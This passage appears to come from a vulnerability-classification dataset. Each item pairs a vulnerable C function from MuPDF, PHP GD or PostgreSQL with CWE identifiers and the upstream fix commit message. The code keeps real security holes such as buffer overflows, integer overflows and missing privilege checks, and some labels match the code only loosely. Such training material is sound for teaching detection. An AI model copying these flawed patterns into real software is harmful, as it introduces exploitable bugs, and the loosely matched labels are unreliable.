fz_atof(fill_opacity_att);\n\t\txps_set_color(doc, colorspace, samples);\n\n\t\tfz_fill_text(doc->dev, text, &local_ctm,\n\t\t\tdoc->colorspace, doc->color, doc->alpha);\n\t}\n\n\t/* If it's a complex brush, use the charpath as a clip mask */\n\n\tif (fill_tag)\n\t{\n\t\tfz_clip_text(doc->dev, text, &local_ctm, 0);\n\t\txps_parse_brush(doc, &local_ctm, &area, fill_uri, dict, fill_tag);\n\t\tfz_pop_clip(doc->dev);\n\t}\n\n\txps_end_opacity(doc, opacity_mask_uri, dict, opacity_att, opacity_mask_tag);\n\n\tfz_free_text(doc->ctx, text);\n\n\tif (clip_att || clip_tag)\n\t\tfz_pop_clip(doc->dev);\n\n\tfz_drop_font(doc->ctx, font);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Bug 694957: fix stack buffer overflow in xps_parse_color\n\nxps_parse_color happily reads more than FZ_MAX_COLORS values out of a\nContextColor array which overflows the passed in samples array.\nLimiting the number of allowed samples to FZ_MAX_COLORS and make sure\nto use that constant for all callers fixes the problem.\n\nThanks to Jean-Jamil Khalif\u00e9 for reporting and investigating the issue\nand providing a sample exploit file.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void php_imagepolygon(INTERNAL_FUNCTION_PARAMETERS, int filled)\n{\n\tzval *IM, *POINTS;\n\tlong NPOINTS, COL;\n\tzval **var = NULL;\n\tgdImagePtr im;\n\tgdPointPtr points;\n\tint npoints, col, nelem, i;\n\n\tif (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"rall\", &IM, &POINTS, &NPOINTS, &COL) == FAILURE) {\n\t\treturn;\n\t}\n\n\tZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, \"Image\", le_gd);\n\n\tnpoints = NPOINTS;\n\tcol = COL;\n\n\tnelem = zend_hash_num_elements(Z_ARRVAL_P(POINTS));\n\tif (nelem < 6) {\n\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"You must have at least 3 points in your array\");\n\t\tRETURN_FALSE;\n\t}\n\tif (npoints <= 0) {\n\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"You must give a positive number of points\");\n\t\tRETURN_FALSE;\n\t}\n\tif (nelem < npoints * 2) {\n\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Trying to use %d points in array with only %d points\", npoints, nelem/2);\n\t\tRETURN_FALSE;\n\t}\n\n\tpoints = (gdPointPtr) safe_emalloc(npoints, sizeof(gdPoint), 0);\n\n\tfor (i = 0; i < npoints; i++) {\n\t\tif (zend_hash_index_find(Z_ARRVAL_P(POINTS), (i * 2), (void **) &var) == SUCCESS) {\n\t\t\tSEPARATE_ZVAL((var));\n\t\t\tconvert_to_long(*var);\n\t\t\tpoints[i].x = Z_LVAL_PP(var);\n\t\t}\n\t\tif (zend_hash_index_find(Z_ARRVAL_P(POINTS), (i * 2) + 1, (void **) &var) == SUCCESS) {\n\t\t\tSEPARATE_ZVAL(var);\n\t\t\tconvert_to_long(*var);\n\t\t\tpoints[i].y = Z_LVAL_PP(var);\n\t\t}\n\t}\n\n\tif (filled) {\n\t\tgdImageFilledPolygon(im, points, npoints, col);\n\t} else {\n\t\tgdImagePolygon(im, points, npoints, col);\n\t}\n\n\tefree(points);\n\tRETURN_TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'Fixed bug #66356 (Heap Overflow Vulnerability in imagecrop())\n\nAnd also fixed the bug: arguments are altered after some calls'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: plpgsql_validator(PG_FUNCTION_ARGS)\n{\n\tOid\t\t\tfuncoid = PG_GETARG_OID(0);\n\tHeapTuple\ttuple;\n\tForm_pg_proc proc;\n\tchar\t\tfunctyptype;\n\tint\t\t\tnumargs;\n\tOid\t\t *argtypes;\n\tchar\t **argnames;\n\tchar\t *argmodes;\n\tbool\t\tis_dml_trigger = false;\n\tbool\t\tis_event_trigger = false;\n\tint\t\t\ti;\n\n\t/* Get the new function's pg_proc entry */\n\ttuple = SearchSysCache1(PROCOID, ObjectIdGetDatum(funcoid));\n\tif (!HeapTupleIsValid(tuple))\n\t\telog(ERROR, \"cache lookup failed for function %u\", funcoid);\n\tproc = (Form_pg_proc) GETSTRUCT(tuple);\n\n\tfunctyptype = get_typtype(proc->prorettype);\n\n\t/* Disallow pseudotype result */\n\t/* except for TRIGGER, RECORD, VOID, or polymorphic */\n\tif (functyptype == TYPTYPE_PSEUDO)\n\t{\n\t\t/* we assume OPAQUE with no arguments means a trigger */\n\t\tif (proc->prorettype == TRIGGEROID ||\n\t\t\t(proc->prorettype == OPAQUEOID && proc->pronargs == 0))\n\t\t\tis_dml_trigger = true;\n\t\telse if (proc->prorettype == EVTTRIGGEROID)\n\t\t\tis_event_trigger = true;\n\t\telse if (proc->prorettype != RECORDOID &&\n\t\t\t\t proc->prorettype != VOIDOID &&\n\t\t\t\t !IsPolymorphicType(proc->prorettype))\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t errmsg(\"PL/pgSQL functions cannot return type %s\",\n\t\t\t\t\t\t\tformat_type_be(proc->prorettype))));\n\t}\n\n\t/* Disallow pseudotypes in arguments (either IN or OUT) */\n\t/* except for polymorphic */\n\tnumargs = get_func_arg_info(tuple,\n\t\t\t\t\t\t\t\t&argtypes, &argnames, &argmodes);\n\tfor (i = 0; i < numargs; i++)\n\t{\n\t\tif (get_typtype(argtypes[i]) == TYPTYPE_PSEUDO)\n\t\t{\n\t\t\tif (!IsPolymorphicType(argtypes[i]))\n\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t\t errmsg(\"PL/pgSQL functions cannot accept type %s\",\n\t\t\t\t\t\t\t\tformat_type_be(argtypes[i]))));\n\t\t}\n\t}\n\n\t/* Postpone body checks if !check_function_bodies */\n\tif (check_function_bodies)\n\t{\n\t\tFunctionCallInfoData fake_fcinfo;\n\t\tFmgrInfo\tflinfo;\n\t\tint\t\t\trc;\n\t\tTriggerData trigdata;\n\t\tEventTriggerData etrigdata;\n\n\t\t/*\n\t\t * Connect to SPI manager (is this needed for compilation?)\n\t\t */\n\t\tif ((rc = SPI_connect()) != SPI_OK_CONNECT)\n\t\t\telog(ERROR, \"SPI_connect failed: %s\", SPI_result_code_string(rc));\n\n\t\t/*\n\t\t * Set up a fake fcinfo with just enough info to satisfy\n\t\t * plpgsql_compile().\n\t\t */\n\t\tMemSet(&fake_fcinfo, 0, sizeof(fake_fcinfo));\n\t\tMemSet(&flinfo, 0, sizeof(flinfo));\n\t\tfake_fcinfo.flinfo = &flinfo;\n\t\tflinfo.fn_oid = funcoid;\n\t\tflinfo.fn_mcxt = CurrentMemoryContext;\n\t\tif (is_dml_trigger)\n\t\t{\n\t\t\tMemSet(&trigdata, 0, sizeof(trigdata));\n\t\t\ttrigdata.type = T_TriggerData;\n\t\t\tfake_fcinfo.context = (Node *) &trigdata;\n\t\t}\n\t\telse if (is_event_trigger)\n\t\t{\n\t\t\tMemSet(&etrigdata, 0, sizeof(etrigdata));\n\t\t\tetrigdata.type = T_EventTriggerData;\n\t\t\tfake_fcinfo.context = (Node *) &etrigdata;\n\t\t}\n\n\t\t/* Test-compile the function */\n\t\tplpgsql_compile(&fake_fcinfo, true);\n\n\t\t/*\n\t\t * Disconnect from SPI manager\n\t\t */\n\t\tif ((rc = SPI_finish()) != SPI_OK_FINISH)\n\t\t\telog(ERROR, \"SPI_finish failed: %s\", SPI_result_code_string(rc));\n\t}\n\n\tReleaseSysCache(tuple);\n\n\tPG_RETURN_VOID();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'Prevent privilege escalation in explicit calls to PL validators.\n\nThe primary role of PL validators is to be called implicitly during\nCREATE FUNCTION, but they are also normal functions that a user can call\nexplicitly. Add a permissions check to each validator to ensure that a\nuser cannot use explicit validator calls to achieve things he could not\notherwise achieve. Back-patch to 8.4 (all supported versions).\nNon-core procedural language extensions ought to make the same two-line\nchange to their own validators.\n\nAndres Freund, reviewed by Tom Lane and Noah Misch.\n\nSecurity: CVE-2014-0061'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: index_constraint_create(Relation heapRelation,\n\t\t\t\t\t\tOid indexRelationId,\n\t\t\t\t\t\tIndexInfo *indexInfo,\n\t\t\t\t\t\tconst char *constraintName,\n\t\t\t\t\t\tchar constraintType,\n\t\t\t\t\t\tbool deferrable,\n\t\t\t\t\t\tbool initdeferred,\n\t\t\t\t\t\tbool mark_as_primary,\n\t\t\t\t\t\tbool update_pgindex,\n\t\t\t\t\t\tbool remove_old_dependencies,\n\t\t\t\t\t\tbool allow_system_table_mods,\n\t\t\t\t\t\tbool is_internal)\n{\n\tOid\t\t\tnamespaceId = RelationGetNamespace(heapRelation);\n\tObjectAddress myself,\n\t\t\t\treferenced;\n\tOid\t\t\tconOid;\n\n\t/* constraint creation support doesn't work while bootstrapping */\n\tAssert(!IsBootstrapProcessingMode());\n\n\t/* enforce system-table restriction */\n\tif (!allow_system_table_mods &&\n\t\tIsSystemRelation(heapRelation) &&\n\t\tIsNormalProcessingMode())\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t errmsg(\"user-defined indexes on system catalog tables are not supported\")));\n\n\t/* primary/unique constraints shouldn't have any expressions */\n\tif (indexInfo->ii_Expressions &&\n\t\tconstraintType != CONSTRAINT_EXCLUSION)\n\t\telog(ERROR, \"constraints cannot have index expressions\");\n\n\t/*\n\t * If we're manufacturing a constraint for a pre-existing index, we need\n\t * to get rid of the existing auto dependencies for the index (the ones\n\t * that index_create() would have made instead of calling this function).\n\t *\n\t * Note: this code would not necessarily do the right thing if the index\n\t * has any expressions or predicate, but we'd never be turning such an\n\t * index into a UNIQUE or PRIMARY KEY constraint.\n\t */\n\tif (remove_old_dependencies)\n\t\tdeleteDependencyRecordsForClass(RelationRelationId, indexRelationId,\n\t\t\t\t\t\t\t\t\t\tRelationRelationId, DEPENDENCY_AUTO);\n\n\t/*\n\t * Construct a pg_constraint entry.\n\t */\n\tconOid = CreateConstraintEntry(constraintName,\n\t\t\t\t\t\t\t\t namespaceId,\n\t\t\t\t\t\t\t\t constraintType,\n\t\t\t\t\t\t\t\t deferrable,\n\t\t\t\t\t\t\t\t initdeferred,\n\t\t\t\t\t\t\t\t true,\n\t\t\t\t\t\t\t\t RelationGetRelid(heapRelation),\n\t\t\t\t\t\t\t\t indexInfo->ii_KeyAttrNumbers,\n\t\t\t\t\t\t\t\t indexInfo->ii_NumIndexAttrs,\n\t\t\t\t\t\t\t\t InvalidOid,\t/* no domain */\n\t\t\t\t\t\t\t\t indexRelationId,\t\t/* index OID */\n\t\t\t\t\t\t\t\t InvalidOid,\t/* no foreign key */\n\t\t\t\t\t\t\t\t NULL,\n\t\t\t\t\t\t\t\t NULL,\n\t\t\t\t\t\t\t\t NULL,\n\t\t\t\t\t\t\t\t NULL,\n\t\t\t\t\t\t\t\t 0,\n\t\t\t\t\t\t\t\t ' ',\n\t\t\t\t\t\t\t\t ' ',\n\t\t\t\t\t\t\t\t ' ',\n\t\t\t\t\t\t\t\t indexInfo->ii_ExclusionOps,\n\t\t\t\t\t\t\t\t NULL,\t\t/* no check constraint */\n\t\t\t\t\t\t\t\t NULL,\n\t\t\t\t\t\t\t\t NULL,\n\t\t\t\t\t\t\t\t true,\t\t/* islocal */\n\t\t\t\t\t\t\t\t 0,\t/* inhcount */\n\t\t\t\t\t\t\t\t true,\t\t/* noinherit */\n\t\t\t\t\t\t\t\t is_internal);\n\n\t/*\n\t * Register the index as internally dependent on the constraint.\n\t *\n\t * Note that the constraint has a dependency on the table, so we don't\n\t * need (or want) any direct dependency from the index to the table.\n\t */\n\tmyself.classId = RelationRelationId;\n\tmyself.objectId = indexRelationId;\n\tmyself.objectSubId = 0;\n\n\treferenced.classId = ConstraintRelationId;\n\treferenced.objectId = conOid;\n\treferenced.objectSubId = 0;\n\n\trecordDependencyOn(&myself, &referenced, DEPENDENCY_INTERNAL);\n\n\t/*\n\t * If the constraint is deferrable, create the deferred uniqueness\n\t * checking trigger. (The trigger will be given an internal dependency on\n\t * the constraint by CreateTrigger.)\n\t */\n\tif (deferrable)\n\t{\n\t\tRangeVar *heapRel;\n\t\tCreateTrigStmt *trigger;\n\n\t\theapRel = makeRangeVar(get_namespace_name(namespaceId),\n\t\t\t\t\t\t\t pstrdup(RelationGetRelationName(heapRelation)),\n\t\t\t\t\t\t\t -1);\n\n\t\ttrigger = makeNode(CreateTrigStmt);\n\t\ttrigger->trigname = (constraintType == CONSTRAINT_PRIMARY) ?\n\t\t\t\"PK_ConstraintTrigger\" :\n\t\t\t\"Unique_ConstraintTrigger\";\n\t\ttrigger->relation = heapRel;\n\t\ttrigger->funcname = SystemFuncName(\"unique_key_recheck\");\n\t\ttrigger->args = NIL;\n\t\ttrigger->row = true;\n\t\ttrigger->timing = TRIGGER_TYPE_AFTER;\n\t\ttrigger->events = TRIGGER_TYPE_INSERT | TRIGGER_TYPE_UPDATE;\n\t\ttrigger->columns = NIL;\n\t\ttrigger->whenClause = NULL;\n\t\ttrigger->isconstraint = true;\n\t\ttrigger->deferrable = true;\n\t\ttrigger->initdeferred = initdeferred;\n\t\ttrigger->constrrel = NULL;\n\n\t\t(void) CreateTrigger(trigger, NULL, conOid, indexRelationId, true);\n\t}\n\n\t/*\n\t * If needed, mark the table as having a primary key. We assume it can't\n\t * have been so marked already, so no need to clear the flag in the other\n\t * case.\n\t *\n\t * Note: this might better be done by callers.\tWe do it here to avoid\n\t * exposing index_update_stats() globally, but that wouldn't be necessary\n\t * if relhaspkey went away.\n\t */\n\tif (mark_as_primary)\n\t\tindex_update_stats(heapRelation,\n\t\t\t\t\t\t true,\n\t\t\t\t\t\t true,\n\t\t\t\t\t\t -1.0);\n\n\t/*\n\t * If needed, mark the index as primary and/or deferred in pg_index.\n\t *\n\t * Note: When making an existing index into a constraint, caller must\n\t * have a table lock that prevents concurrent table updates; otherwise,\n\t * there is a risk that concurrent readers of the table will miss seeing\n\t * this index at all.\n\t */\n\tif (update_pgindex && (mark_as_primary || deferrable))\n\t{\n\t\tRelation\tpg_index;\n\t\tHeapTuple\tindexTuple;\n\t\tForm_pg_index indexForm;\n\t\tbool\t\tdirty = false;\n\n\t\tpg_index = heap_open(IndexRelationId, RowExclusiveLock);\n\n\t\tindexTuple = SearchSysCacheCopy1(INDEXRELID,\n\t\t\t\t\t\t\t\t\t\t ObjectIdGetDatum(indexRelationId));\n\t\tif (!HeapTupleIsValid(indexTuple))\n\t\t\telog(ERROR, \"cache lookup failed for index %u\", indexRelationId);\n\t\tindexForm = (Form_pg_index) GETSTRUCT(indexTuple);\n\n\t\tif (mark_as_primary && !indexForm->indisprimary)\n\t\t{\n\t\t\tindexForm->indisprimary = true;\n\t\t\tdirty = true;\n\t\t}\n\n\t\tif (deferrable && indexForm->indimmediate)\n\t\t{\n\t\t\tindexForm->indimmediate = false;\n\t\t\tdirty = true;\n\t\t}\n\n\t\tif (dirty)\n\t\t{\n\t\t\tsimple_heap_update(pg_index, &indexTuple->t_self, indexTuple);\n\t\t\tCatalogUpdateIndexes(pg_index, indexTuple);\n\n\t\t\tInvokeObjectPostAlterHookArg(IndexRelationId, indexRelationId, 0,\n\t\t\t\t\t\t\t\t\t\t InvalidOid, is_internal);\n\t\t}\n\n\t\theap_freetuple(indexTuple);\n\t\theap_close(pg_index, RowExclusiveLock);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'Avoid repeated name lookups during table and index DDL.\n\nIf the name lookups come to different conclusions due to concurrent\nactivity, we might perform some parts of the DDL on a different table\nthan other parts. At least in the case of CREATE INDEX, this can be\nused to cause the permissions checks to be performed against a\ndifferent table than the index creation, allowing for a privilege\nescalation attack.\n\nThis changes the calling convention for DefineIndex, CreateTrigger,\ntransformIndexStmt, transformAlterTableStmt, CheckIndexCompatible\n(in 9.2 and newer), and AlterTable (in 9.1 and older). In addition,\nCheckRelationOwnership is removed in 9.2 and newer and the calling\nconvention is changed in older branches. A field has also been added\nto the Constraint node (FkConstraint in 8.4). Third-party code calling\nthese functions or using the Constraint node will require updating.\n\nReport by Andres Freund. Patch by Robert Haas and Andres Freund,\nreviewed by Tom Lane.\n\nSecurity: CVE-2014-0062'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: createForeignKeyTriggers(Relation rel, Constraint *fkconstraint,\n\t\t\t\t\t\t Oid constraintOid, Oid indexOid)\n{\n\tRangeVar *myRel;\n\tCreateTrigStmt *fk_trigger;\n\n\t/*\n\t * Reconstruct a RangeVar for my relation (not passed in, unfortunately).\n\t */\n\tmyRel = makeRangeVar(get_namespace_name(RelationGetNamespace(rel)),\n\t\t\t\t\t\t pstrdup(RelationGetRelationName(rel)),\n\t\t\t\t\t\t -1);\n\n\t/* Make changes-so-far visible */\n\tCommandCounterIncrement();\n\n\t/*\n\t * Build and execute a CREATE CONSTRAINT TRIGGER statement for the ON\n\t * DELETE action on the referenced table.\n\t */\n\tfk_trigger = makeNode(CreateTrigStmt);\n\tfk_trigger->trigname = \"RI_ConstraintTrigger_a\";\n\tfk_trigger->relation = fkconstraint->pktable;\n\tfk_trigger->row = true;\n\tfk_trigger->timing = TRIGGER_TYPE_AFTER;\n\tfk_trigger->events = TRIGGER_TYPE_DELETE;\n\tfk_trigger->columns = NIL;\n\tfk_trigger->whenClause = NULL;\n\tfk_trigger->isconstraint = true;\n\tfk_trigger->constrrel = myRel;\n\tswitch (fkconstraint->fk_del_action)\n\t{\n\t\tcase FKCONSTR_ACTION_NOACTION:\n\t\t\tfk_trigger->deferrable = fkconstraint->deferrable;\n\t\t\tfk_trigger->initdeferred = fkconstraint->initdeferred;\n\t\t\tfk_trigger->funcname = SystemFuncName(\"RI_FKey_noaction_del\");\n\t\t\tbreak;\n\t\tcase FKCONSTR_ACTION_RESTRICT:\n\t\t\tfk_trigger->deferrable = false;\n\t\t\tfk_trigger->initdeferred = false;\n\t\t\tfk_trigger->funcname = SystemFuncName(\"RI_FKey_restrict_del\");\n\t\t\tbreak;\n\t\tcase FKCONSTR_ACTION_CASCADE:\n\t\t\tfk_trigger->deferrable = false;\n\t\t\tfk_trigger->initdeferred = false;\n\t\t\tfk_trigger->funcname = SystemFuncName(\"RI_FKey_cascade_del\");\n\t\t\tbreak;\n\t\tcase FKCONSTR_ACTION_SETNULL:\n\t\t\tfk_trigger->deferrable = false;\n\t\t\tfk_trigger->initdeferred = false;\n\t\t\tfk_trigger->funcname = SystemFuncName(\"RI_FKey_setnull_del\");\n\t\t\tbreak;\n\t\tcase FKCONSTR_ACTION_SETDEFAULT:\n\t\t\tfk_trigger->deferrable = false;\n\t\t\tfk_trigger->initdeferred = false;\n\t\t\tfk_trigger->funcname = SystemFuncName(\"RI_FKey_setdefault_del\");\n\t\t\tbreak;\n\t\tdefault:\n\t\t\telog(ERROR, \"unrecognized FK action type: %d\",\n\t\t\t\t (int) fkconstraint->fk_del_action);\n\t\t\tbreak;\n\t}\n\tfk_trigger->args = NIL;\n\n\t(void) CreateTrigger(fk_trigger, NULL, constraintOid, indexOid, true);\n\n\t/* Make changes-so-far visible */\n\tCommandCounterIncrement();\n\n\t/*\n\t * Build and execute a CREATE CONSTRAINT TRIGGER statement for the ON\n\t * UPDATE action on the referenced table.\n\t */\n\tfk_trigger = makeNode(CreateTrigStmt);\n\tfk_trigger->trigname = \"RI_ConstraintTrigger_a\";\n\tfk_trigger->relation = fkconstraint->pktable;\n\tfk_trigger->row = true;\n\tfk_trigger->timing = TRIGGER_TYPE_AFTER;\n\tfk_trigger->events = TRIGGER_TYPE_UPDATE;\n\tfk_trigger->columns = NIL;\n\tfk_trigger->whenClause = NULL;\n\tfk_trigger->isconstraint = true;\n\tfk_trigger->constrrel = myRel;\n\tswitch (fkconstraint->fk_upd_action)\n\t{\n\t\tcase FKCONSTR_ACTION_NOACTION:\n\t\t\tfk_trigger->deferrable = fkconstraint->deferrable;\n\t\t\tfk_trigger->initdeferred = fkconstraint->initdeferred;\n\t\t\tfk_trigger->funcname = SystemFuncName(\"RI_FKey_noaction_upd\");\n\t\t\tbreak;\n\t\tcase FKCONSTR_ACTION_RESTRICT:\n\t\t\tfk_trigger->deferrable = false;\n\t\t\tfk_trigger->initdeferred = false;\n\t\t\tfk_trigger->funcname = SystemFuncName(\"RI_FKey_restrict_upd\");\n\t\t\tbreak;\n\t\tcase FKCONSTR_ACTION_CASCADE:\n\t\t\tfk_trigger->deferrable = false;\n\t\t\tfk_trigger->initdeferred = false;\n\t\t\tfk_trigger->funcname = SystemFuncName(\"RI_FKey_cascade_upd\");\n\t\t\tbreak;\n\t\tcase FKCONSTR_ACTION_SETNULL:\n\t\t\tfk_trigger->deferrable = false;\n\t\t\tfk_trigger->initdeferred = false;\n\t\t\tfk_trigger->funcname = SystemFuncName(\"RI_FKey_setnull_upd\");\n\t\t\tbreak;\n\t\tcase FKCONSTR_ACTION_SETDEFAULT:\n\t\t\tfk_trigger->deferrable = false;\n\t\t\tfk_trigger->initdeferred = false;\n\t\t\tfk_trigger->funcname = SystemFuncName(\"RI_FKey_setdefault_upd\");\n\t\t\tbreak;\n\t\tdefault:\n\t\t\telog(ERROR, \"unrecognized FK action type: %d\",\n\t\t\t\t (int) fkconstraint->fk_upd_action);\n\t\t\tbreak;\n\t}\n\tfk_trigger->args = NIL;\n\n\t(void) CreateTrigger(fk_trigger, NULL, constraintOid, indexOid, true);\n\n\t/* Make changes-so-far visible */\n\tCommandCounterIncrement();\n\n\t/*\n\t * Build and execute CREATE CONSTRAINT TRIGGER statements for the CHECK\n\t * action for both INSERTs and UPDATEs on the referencing table.\n\t */\n\tCreateFKCheckTrigger(myRel, fkconstraint, constraintOid, indexOid, true);\n\tCreateFKCheckTrigger(myRel, fkconstraint, constraintOid, indexOid, false);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'Avoid repeated name lookups during table and index DDL.\n\nIf the name lookups come to different conclusions due to concurrent\nactivity, we might perform some parts of the DDL on a different table\nthan other parts. At least in the case of CREATE INDEX, this can be\nused to cause the permissions checks to be performed against a\ndifferent table than the index creation, allowing for a privilege\nescalation attack.\n\nThis changes the calling convention for DefineIndex, CreateTrigger,\ntransformIndexStmt, transformAlterTableStmt, CheckIndexCompatible\n(in 9.2 and newer), and AlterTable (in 9.1 and older). In addition,\nCheckRelationOwnership is removed in 9.2 and newer and the calling\nconvention is changed in older branches. A field has also been added\nto the Constraint node (FkConstraint in 8.4). Third-party code calling\nthese functions or using the Constraint node will require updating.\n\nReport by Andres Freund. Patch by Robert Haas and Andres Freund,\nreviewed by Tom Lane.\n\nSecurity: CVE-2014-0062'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: poly_path(PG_FUNCTION_ARGS)\n{\n\tPOLYGON *poly = PG_GETARG_POLYGON_P(0);\n\tPATH\t *path;\n\tint\t\t\tsize;\n\tint\t\t\ti;\n\n\tsize = offsetof(PATH, p[0]) +sizeof(path->p[0]) * poly->npts;\n\tpath = (PATH *) palloc(size);\n\n\tSET_VARSIZE(path, size);\n\tpath->npts = poly->npts;\n\tpath->closed = TRUE;\n\t/* prevent instability in unused pad bytes */\n\tpath->dummy = 0;\n\n\tfor (i = 0; i < poly->npts; i++)\n\t{\n\t\tpath->p[i].x = poly->p[i].x;\n\t\tpath->p[i].y = poly->p[i].y;\n\t}\n\n\tPG_RETURN_PATH_P(path);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'Predict integer overflow to avoid buffer overruns.\n\nSeveral functions, mostly type input functions, calculated an allocation\nsize such that the calculation wrapped to a small positive value when\narguments implied a sufficiently-large requirement. Writes past the end\nof the inadvertent small allocation followed shortly thereafter.\nCoverity identified the path_in() vulnerability; code inspection led to\nthe rest. In passing, add check_stack_depth() to prevent stack overflow\nin related functions.\n\nBack-patch to 8.4 (all supported versions). The non-comment hstore\nchanges touch code that did not exist in 8.4, so that part stops at 9.0.\n\nNoah Misch and Heikki Linnakangas, reviewed by Tom Lane.\n\nSecurity: CVE-2014-0064'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: hstore_slice_to_hstore(PG_FUNCTION_ARGS)\n{\n\tHStore\t *hs = PG_GETARG_HS(0);\n\tHEntry\t *entries = ARRPTR(hs);\n\tchar\t *ptr = STRPTR(hs);\n\tArrayType *key_array = PG_GETARG_ARRAYTYPE_P(1);\n\tHStore\t *out;\n\tint\t\t\tnkeys;\n\tPairs\t *key_pairs = hstoreArrayToPairs(key_array, &nkeys);\n\tPairs\t *out_pairs;\n\tint\t\t\tbufsiz;\n\tint\t\t\tlastidx = 0;\n\tint\t\t\ti;\n\tint\t\t\tout_count = 0;\n\n\tif (nkeys == 0)\n\t{\n\t\tout = hstorePairs(NULL, 0, 0);\n\t\tPG_RETURN_POINTER(out);\n\t}\n\n\tout_pairs = palloc(sizeof(Pairs) * nkeys);\n\tbufsiz = 0;\n\n\t/*\n\t * we exploit the fact that the pairs list is already sorted into strictly\n\t * increasing order to narrow the hstoreFindKey search; each search can\n\t * start one entry past the previous \"found\" entry, or at the lower bound\n\t * of the last search.\n\t */\n\n\tfor (i = 0; i < nkeys; ++i)\n\t{\n\t\tint\t\t\tidx = hstoreFindKey(hs, &lastidx,\n\t\t\t\t\t\t\t\t\t key_pairs[i].key, key_pairs[i].keylen);\n\n\t\tif (idx >= 0)\n\t\t{\n\t\t\tout_pairs[out_count].key = key_pairs[i].key;\n\t\t\tbufsiz += (out_pairs[out_count].keylen = key_pairs[i].keylen);\n\t\t\tout_pairs[out_count].val = HS_VAL(entries, ptr, idx);\n\t\t\tbufsiz += (out_pairs[out_count].vallen = HS_VALLEN(entries, idx));\n\t\t\tout_pairs[out_count].isnull = HS_VALISNULL(entries, idx);\n\t\t\tout_pairs[out_count].needfree = false;\n\t\t\t++out_count;\n\t\t}\n\t}\n\n\t/*\n\t * we don't use uniquePairs here because we know that the pairs list is\n\t * already sorted and uniq'ed.\n\t */\n\n\tout = hstorePairs(out_pairs, out_count, bufsiz);\n\n\tPG_RETURN_POINTER(out);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'Predict integer overflow to avoid buffer overruns.\n\nSeveral functions, mostly type input functions, calculated an allocation\nsize such that the calculation wrapped to a small positive value when\narguments implied a sufficiently-large requirement. Writes past the end\nof the inadvertent small allocation followed shortly thereafter.\nCoverity identified the path_in() vulnerability; code inspection led to\nthe rest. In passing, add check_stack_depth() to prevent stack overflow\nin related functions.\n\nBack-patch to 8.4 (all supported versions). The non-comment hstore\nchanges touch code that did not exist in 8.4, so that part stops at 9.0.\n\nNoah Misch and Heikki Linnakangas, reviewed by Tom Lane.\n\nSecurity: CVE-2014-0064'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: hstore_from_array(PG_FUNCTION_ARGS)\n{\n\tArrayType *in_array = PG_GETARG_ARRAYTYPE_P(0);\n\tint\t\t\tndims = ARR_NDIM(in_array);\n\tint\t\t\tcount;\n\tint32\t\tbuflen;\n\tHStore\t *out;\n\tPairs\t *pairs;\n\tDatum\t *in_datums;\n\tbool\t *in_nulls;\n\tint\t\t\tin_count;\n\tint\t\t\ti;\n\n\tAssert(ARR_ELEMTYPE(in_array) == TEXTOID);\n\n\tswitch (ndims)\n\t{\n\t\tcase 0:\n\t\t\tout = hstorePairs(NULL, 0, 0);\n\t\t\tPG_RETURN_POINTER(out);\n\n\t\tcase 1:\n\t\t\tif ((ARR_DIMS(in_array)[0]) % 2)\n\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_ARRAY_SUBSCRIPT_ERROR),\n\t\t\t\t\t\t errmsg(\"array must have even number of elements\")));\n\t\t\tbreak;\n\n\t\tcase 2:\n\t\t\tif ((ARR_DIMS(in_array)[1]) != 2)\n\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_ARRAY_SUBSCRIPT_ERROR),\n\t\t\t\t\t\t errmsg(\"array must have two 